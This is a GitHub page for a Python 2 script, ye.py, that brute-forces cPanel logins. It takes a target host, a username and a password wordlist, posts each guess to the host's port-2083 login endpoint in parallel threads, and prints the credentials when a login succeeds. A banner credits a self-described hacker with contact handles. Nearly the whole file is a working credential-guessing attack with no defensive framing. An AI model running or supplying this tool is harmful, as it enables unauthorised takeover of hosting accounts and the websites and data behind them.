forked from 0-d3y/xTx
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathye.py
More file actions
117 lines (90 loc) · 2.62 KB
/
ye.py
File metadata and controls
117 lines (90 loc) · 2.62 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python
# code by mr sami yemeni hackers
import argparse
import urllib, urllib2
import re, time
import cookielib
import sys, os
import threading
import socket
def clear():
if os.name == "nt":
os.system('cls')
else:
os.system('clear')
clear()
logo = """
================================
= Coded By: Mr Sami =
= Contact: t.me/RX_YM =
= web: cyberyemen.blogspot.com =
= instegram: @cyber_77k =
================================
"""
print logo
if __name__ == "__main__":
if len(sys.argv) == 1:
print '''usage: ye.py [-h] [--host HOST] [--user USER] [--password PASSWORD]
optional arguments:
-h, --help show this help message and exit
As per cPanel rule First 8 characters are username. But it not compulsory
--host HOST Insert Target IP-Address
--user USER Insert UserName
--password PASSWORD Insert Password List'''
sys.exit()
parser = argparse.ArgumentParser()
parser.add_argument('--host', help="Insert Target IP-Address")
parser.add_argument('--user', help="Insert UserName")
parser.add_argument('--password', help="Insert Password List")
args = parser.parse_args()
if args.host.startswith("http://"):
print "[~] Insert URL with out HTTP "
print "Coded By mr Sami"
print ""
sys.exit(1)
elif args.host.startswith("https://"):
print "[~] Insert URL with out HTTPs "
print "Coded By Mr Sami"
print ""
sys.exit(1)
else:
pass
def cPanel(passwd, pwd, coder):
try:
args.host = socket.gethostbyname(args.host)
post = {}
post['user'] = args.user
post['pass'] = passwd
cpURL = "https://"+args.host+":2083/login/?login_only=1"
neo = urllib2.Request(cpURL, urllib.urlencode(post))
cp = coder.open(neo).read()
if 'redirect' in cp:
t2 = time.time()
print ""
print "[+] Your Domain: %s" % args.host
print "[+] UserName: %s" % args.user
print "[+] Password: %s" % passwd
print "[+] Time: %s" % str(t2-t1)
print ""
os._exit(1)
except socket.gaierror:
print ""
print "Please Insert Valid IP / HostName "
print ""
os._exit(1)
except Exception, e:
pass
threads = []
with open(args.password, 'r') as f:
pwd = f.read().splitlines()
cj = cookielib.CookieJar()
coder = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
for passwd in pwd:
t1 = time.time()
t = threading.Thread(target=cPanel, args=(passwd, pwd, coder))
t.start()
threads.append(t)
time.sleep(0.2)
print ""
print "[-] Failed To Find Password "
print ""